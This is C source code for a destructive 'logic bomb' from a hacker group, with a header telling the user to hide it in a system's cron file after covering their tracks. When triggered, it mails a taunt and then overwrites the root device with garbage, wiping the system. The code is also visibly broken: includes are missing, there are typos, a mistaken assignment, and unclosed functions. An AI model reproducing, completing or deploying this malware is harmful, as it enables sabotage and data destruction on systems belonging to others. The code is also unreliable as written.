/* This is a Technophoria Release Coded by Bronc Buster / **************************************************** / WARNING WARNING WARNING WARNING WARNING WARNING / **************************************************** / This program is EXTREMLY Dangerous if you do not / know what you are doing. This is a Fully functional / Logic Bomb. It has been tested on Linux with the 2.0.1 / Kernal with perfect results (Well after it went off we / had to reinstall because we counldn't use any commands. / To Complie type: / / cc -O smlogic.c -o smlogic / / This version is ment to be placed into a systems / Cron file and run long after you have exited the / system and cleared your tracks. It also accepts command / line input: smlogic username (or NOHUP smlogin username) / If a Bogus username is entered it will execute in a matter / of Miliseconds, so you don't have much time to get clear. / If NOT entered into a systems Cron file, you must run it as / SUID or as ROOT. / / The programmer and Technophoria take NO resonsiblilty for / anything done with this program. It is nearly shown as an / example for educational use only. */ #include #include #include #include /* enter a user name here to check for / by replacing dickhead, or leave in place to crash / on first attempt - user name is otherwise entered / on command line */ #define DICK "dickhead" void crash (dick); int main (argc argv) char *argv[]; { char buffer[256]; char *dick; long elapsed, now, time(); struct stat status; struct passwd *pwd, *getpwnam(); FILE *fp, *popen(); /* check to see if a user name was entered in the / command line */ if (argc == 2) { dick = argv[1]; } else dick = DICK; /* get current time to check if user has logged in */ now = time((long *)0); /* check to see if user is in the passwd file, / if no user, crash() */ pwd = getpwnam(dick); if (pwd == NULL) { crash(dick); } /* create the name of last_login file to check times */ strcpy(buffer, pwd->pw_dir); strcat(buffer, "/.lastlogin"); /* get time of last login, if none, crash() */ if (stat(buffer, &status)) { crash(dick); } /* checks times against each other, if result is <= 2 / weeks leave system alone */ elapsed = now - status.st_mtime; if (elapsed <= (60L * 60 * 24 * 2)) { exit(0); } /* Bomb Function */ int crash (dick) { FILE *fp, *froot, *fopen(); /* This is where we keep all the grabage in */ char buffer[BUFSIZ]; /* MAIL command - from above - */ fp = popen(MAIL, "w"); if (fp == NULL) { /* prints to error device a messegs if we can't get / Mail to work :( */ fprintf(stderr,"Damn The Man!"); exit(1); } /* Taunting furtune of upcoming doom */ fprintf(fp," \tOn bahalf of Technophoria and the user\n"); fprintf(fp," \tof this program, we would like to thank\n"); fprintf(fp," \tyou for useing our product - Your system is\n"); fprintf(fp," \tnow TOASTED!!"); fpclose(fp); /* Time to do the Real Damage - / We are opening the Root Device and are / going to write to it */ froot = fopen("/dev/root", "w"); if (froot = NULL) { fprintf(stderr,"Someone Messed Up! I Can't Crash Crap!"); exit(-1); } /* Damage time - We write grabage into the / root device untill ALL the blocks are Full! */ while(fwrite(buffer, BIFSIZ, 1, froot) != NULL); fclose(froot); /* Thats that, it's toast! */ exit (0); }